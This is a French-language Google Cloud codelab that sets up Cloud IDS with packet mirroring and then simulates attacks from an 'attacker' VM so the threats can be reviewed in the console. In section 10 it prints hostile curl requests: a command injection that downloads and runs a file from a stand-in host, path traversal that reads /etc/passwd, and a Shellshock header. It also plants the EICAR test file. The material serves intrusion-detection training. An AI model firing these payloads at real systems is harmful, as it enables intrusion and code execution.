1. Introduction
Dans cet atelier, vous allez déployer Cloud IDS, un service de détection avancée des intrusions nouvelle génération qui permet de détecter les menaces telles que les intrusions, les logiciels malveillants, les logiciels espions et les attaques de commande et de contrôle. Vous simulerez plusieurs attaques et consulterez les détails des menaces dans la console Cloud.
Points abordés
- Créer un point de terminaison Cloud IDS
- Créer deux machines virtuelles avec des commandes gcloud
- Créer une règle de mise en miroir de paquets
- Simuler le trafic d'une attaque à partir d'une machine virtuelle
- Afficher les détails des menaces dans la console Cloud et Cloud Logging
Prérequis
- Connaître les commandes Linux de base
2. Cas d'utilisation de Cloud IDS
Cloud IDS fournit aux clients un service de détection des intrusions (IDS, Intrusion Detection Service) natif Google Cloud permettant de répondre à leurs exigences avancées de détection des menaces et de conformité, telles que la norme PCI 11.4. Ce service repose sur les technologies de protection contre les menaces de Palo Alto Networks afin d'offrir une détection avancée des intrusions. En associant l'infrastructure de pointe de Google Cloud à la sécurité de pointe de Palo Alto Networks, nos clients bénéficient d'un service de détection avancée des menaces entièrement géré, hautement performant et offrant une sécurité optimale.
La sécurité est une priorité pour les clients qui migrent vers le cloud. Elle souhaite disposer de contrôles de sécurité similaires sur site, comme le service de détection des intrusions (IDS) dans le cloud. Ils préfèrent nettement utiliser une solution IDS gérée cloud native pour simplifier le déploiement, offrir de hautes performances et optimiser les coûts, plutôt que de déployer une solution de sécurité tierce, de gérer l'infrastructure ou d'apporter leurs propres signatures. Google Cloud IDS fournit un service IDS géré de bout en bout avec autoscaling. Les clients peuvent ainsi consacrer plus de temps à l'analyse et à l'atténuation des menaces, et libèrent du temps et des ressources pour gérer l'infrastructure ou les signatures des menaces.
Cloud IDS est déployé hors bande. Il peut détecter les menaces et vous alerter en conséquence, mais ne peut pas les bloquer. Il exploite la mise en miroir de paquets Google Cloud pour créer une copie du trafic réseau, qui est analysée à l'aide du moteur de détection des menaces de Palo Alto Networks.
3. Topologie de l'atelier de programmation
Figure 1. Présentation de l'architecture de haut niveau du déploiement de Cloud IDS dans cet atelier.
4. Préparation
Configuration de l'environnement au rythme de chacun
- Connectez-vous à la console Google Cloud, puis créez un projet ou réutilisez un projet existant. (Si vous ne possédez pas encore de compte Gmail ou Google Workspace, vous devez en créer un.)
- Le nom du projet est le nom à afficher pour les participants au projet. Il s'agit d'une chaîne de caractères qui n'est pas utilisée par les API Google, et que vous pouvez modifier à tout moment.
- L'ID du projet doit être unique sur l'ensemble des projets Google Cloud et doit être immuable (vous ne pouvez pas le modifier une fois que vous l'avez défini). Cloud Console génère automatiquement une chaîne unique dont la composition importe peu, en général. Dans la plupart des ateliers de programmation, vous devrez référencer l'ID du projet (généralement identifié comme
PROJECT_ID
), donc s'il ne vous convient pas, générez-en un autre au hasard ou définissez le vôtre, puis vérifiez s'il est disponible. Il est ensuite "gelé" une fois le projet créé. - La troisième valeur est le numéro de projet, utilisé par certaines API. Pour en savoir plus sur ces trois valeurs, consultez la documentation.
- Vous devez ensuite activer la facturation dans Cloud Console afin d'utiliser les ressources/API Cloud. L'exécution de cet atelier de programmation est très peu coûteuse, voire sans frais. Pour arrêter les ressources afin d'éviter qu'elles ne vous soient facturées après ce tutoriel, suivez les instructions de nettoyage indiquées à la fin de l'atelier. Les nouveaux utilisateurs de Google Cloud peuvent participer au programme d'essai gratuit pour bénéficier d'un crédit de 300 $.
Démarrer Cloud Shell
Bien que Google Cloud puisse être utilisé à distance depuis votre ordinateur portable, nous allons nous servir de Google Cloud Shell pour cet atelier de programmation, un environnement de ligne de commande exécuté dans le cloud.
Depuis la console GCP, cliquez sur l'icône Cloud Shell de la barre d'outils située dans l'angle supérieur droit :
Le provisionnement et la connexion à l'environnement prennent quelques instants seulement. Une fois l'opération terminée, le résultat devrait ressembler à ceci :
Cette machine virtuelle contient tous les outils de développement nécessaires. Elle comprend un répertoire d'accueil persistant de 5 Go et s'exécute sur Google Cloud, ce qui améliore nettement les performances du réseau et l'authentification. Vous pouvez réaliser toutes les activités de cet atelier dans un simple navigateur.
5. Avant de commencer
Activer les API
Dans Cloud Shell, assurez-vous que l'ID de votre projet est configuré.
gcloud config list project gcloud config set project [YOUR-PROJECT-NAME] export PROJECT_ID=$(gcloud config get-value project | sed '2d')
Activer tous les services nécessaires
gcloud services enable compute.googleapis.com gcloud services enable ids.googleapis.com gcloud services enable logging.googleapis.com
6. Créer un réseau VPC
Réseau VPC
Depuis Cloud Shell
gcloud compute networks create cloud-ids \ --subnet-mode=custom
Sous-réseau
Depuis Cloud Shell
gcloud compute networks subnets create cloud-ids-useast1 \ --range=192.168.10.0/24 \ --network=cloud-ids \ --region=us-east1
Accès privé aux services
Depuis Cloud Shell
gcloud compute addresses create cloud-ids-ips \ --global \ --purpose=VPC_PEERING \ --addresses=10.10.10.0 \ --prefix-length=24 \ --description="Cloud IDS Range" \ --network=cloud-ids
Connexion de service privée
Depuis Cloud Shell
gcloud services vpc-peerings connect \ --service=servicenetworking.googleapis.com \ --ranges=cloud-ids-ips \ --network=cloud-ids \ --project=$PROJECT_ID
Règles de pare-feu
Pour autoriser IAP à se connecter à vos instances de VM, créez une règle de pare-feu qui:
- S'applique à toutes les instances de VM auxquelles vous souhaitez rendre accessibles à l'aide d'IAP.
- Autorise le trafic entrant provenant de la plage d'adresses IP 35.235.240.0/20. Cette plage contient toutes les adresses IP utilisées par IAP pour le transfert TCP.
Depuis Cloud Shell
gcloud compute firewall-rules create allow-iap-proxy \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:22 \ --source-ranges=35.235.240.0/20
Pour autoriser le port HTTP standard (TCP 80) et le protocole ICMP sur le serveur:
- S'applique aux ressources associées au tag réseau "server"
- Autorise le trafic d'entrée depuis toutes les sources
Depuis Cloud Shell
gcloud compute firewall-rules create allow-http-icmp \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:80,icmp \ --source-ranges=0.0.0.0/0 \ --target-tags=server
Créer une instance Cloud NAT
Cloud Router
Depuis Cloud Shell
gcloud compute routers create cr-cloud-ids-useast1 \ --region=us-east1 \ --network=cloud-ids
Cloud NAT
Depuis Cloud Shell
gcloud compute routers nats create nat-cloud-ids-useast1 \ --router=cr-cloud-ids-useast1 \ --router-region=us-east1 \ --auto-allocate-nat-external-ips \ --nat-all-subnet-ip-ranges
7. Créer un point de terminaison Cloud IDS
Dans cette section, vous allez créer un point de terminaison Cloud IDS dans la région us-east1, avec un niveau de gravité défini sur "Information". La création du point de terminaison IDS prend environ 20 minutes.
Point de terminaison IDS
Depuis Cloud Shell
gcloud ids endpoints create cloud-ids-east1 \ --network=cloud-ids \ --zone=us-east1-b \ --severity=INFORMATIONAL \ --async
Vérifier que le point de terminaison Cloud IDS a bien été lancé
gcloud ids endpoints list --project=$PROJECT_ID
Résultat –
ID: cloud-ids-east1 LOCATION: us-east1-b SEVERITY: INFORMATIONAL STATE: CREATING NETWORK: cloud-ids TRAFFIC_LOGS:
8. Créer deux machines virtuelles
Dans cette section, vous allez créer deux machines virtuelles. Le premier sera votre serveur Web qui sera mis en miroir vers Cloud IDS. La deuxième machine virtuelle sera votre source de trafic d'attaque.
Machine virtuelle 1 (serveur)
Depuis Cloud Shell
gcloud compute instances create server \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.20 \ --metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \ --tags=server \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
Machine virtuelle 2 (client)
Depuis Cloud Shell
gcloud compute instances create attacker \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.10 \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
9. Préparation du serveur...
Dans cette tâche, vous allez valider votre serveur et fournir à votre client une charge utile inoffensive du logiciel malveillant.
Se connecter en SSH à la VM via Cloud Shell
gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap
Vérifier que le service Web est en cours d'exécution
sudo systemctl status nginx
Résultat : vérifiez qu'il est actif et en cours d'exécution
● nginx.service - A high performance web server and a reverse proxy server Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled) Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago Docs: man:nginx(8) Main PID: 1347 (nginx) Tasks: 3 (limit: 4665) Memory: 4.5M CGroup: /system.slice/nginx.service ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on; ├─1348 nginx: worker process └─1349 nginx: worker process May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server... May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.
Passer du répertoire au service Web
cd /var/www/html/
Créer un fichier inoffensif représentant un logiciel malveillant sur le serveur Web
sudo touch eicar.file
Coller le contenu
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file
Revenir à Cloud Shell
exit
Créer une règle de mise en miroir de paquets vers Cloud IDS
Identifiez la règle de transfert du point de terminaison IDS et vérifiez que l'état du point de terminaison IDS est "READY" (PRÊT).
gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
Exemple de résultat : copiez la valeur de "endpointSharingRule"
user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b createTime: '2021-07-01T21:03:56.099839751Z' endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca endpointIp: 172.16.30.43 name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1 network: projects/ids-project/global/networks/cloud-ids severity: INFORMATIONAL state: READY updateTime: '2021-07-01T21:21:32.744309107Z'
Enregistrez la règle de transfert de point de terminaison IDS dans une variable.
export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)") echo $FORWARDING_RULE
Règle de mise en miroir de paquets
Depuis Cloud Shell
gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \ --region=us-east1 \ --collector-ilb=$FORWARDING_RULE \ --network=cloud-ids \ --mirrored-subnets=cloud-ids-useast1
Vérifier que la règle de mise en miroir de paquets a été créée
Depuis Cloud Shell
gcloud compute packet-mirrorings list
Sortie
user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list NAME REGION NETWORK ENABLE cloud-ids-packet-mirroring us-east1 cloud-ids TRUE
10. Simuler le trafic d'une attaque
Se connecter en SSH à la machine virtuelle à l'origine de l'attaque (client)
Depuis Cloud Shell
gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap
Exécutez les requêtes curl suivantes pour simuler un trafic malveillant.
curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical
Quittez la VM pour revenir à Cloud Shell.
exit
11. Examiner les menaces détectées par Cloud IDS
Accéder au tableau de bord Cloud IDS
Menu de navigation > Sécurité du réseau > Cloud IDS
Accédez à l'onglet "Menaces".
Comme vous pouvez le voir, Cloud IDS a capturé différents profils de trafic d'attaque et fourni des détails sur chaque menace. Vous devrez peut-être cliquer sur le bouton "Actualiser" bouton si aucune menace ne s'affiche. Nous allons maintenant approfondir et examiner les détails des menaces.
Repérez la faille d’exécution de code à distance dans bash. cliquez sur les trois points à droite, puis sur "Afficher les détails de la menace".
Nous allons maintenant afficher les détails de cet incident dans Cloud Logging. Revenez à la page "Menaces" en cliquant sur la flèche pointant vers la gauche .
Cliquez sur les trois points à droite et sélectionnez "Afficher les journaux de menaces"
Les mêmes détails sont fournis à Cloud Logging. Cela vous permet d'envoyer les journaux vers Cloud Storage, Chronicle ou n'importe quelle solution SIEM/SOAR. Vous pouvez également créer des flux de travail personnalisés pour appliquer des mesures correctives en fonction d'alertes, telles que créer une fonction Cloud qui se déclenche en cas d'alerte et créer/mettre à jour une règle de pare-feu pour bloquer l'adresse IP, ou créer/mettre à jour une stratégie Cloud Armor ;
12. Étapes de nettoyage
Quitter l'instance de VM (tous les onglets)
exit
Supprimer les composants de l'atelier depuis un seul terminal Cloud Shell
gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet gcloud compute instances delete server --zone=us-east1-b --quiet gcloud compute instances delete attacker --zone=us-east1-b --quiet gcloud compute firewall-rules delete allow-iap-proxy --quiet gcloud compute firewall-rules delete allow-http-icmp --quiet gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet gcloud compute addresses delete cloud-ids-ips --global --quiet gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet gcloud compute networks delete cloud-ids --quiet
13. Félicitations !
Bravo ! Vous avez terminé cet atelier de programmation.
Points abordés
- Cas d'utilisation de Cloud IDS
- Configuration réseau requise
- API compatibles
- Vous avez créé un point de terminaison Cloud IDS
- 2 VM déployées
- A généré une "attaque" le trafic provenant du client
- Des menaces validées ont été détectées par IDS
- Examiner les détails et les journaux des menaces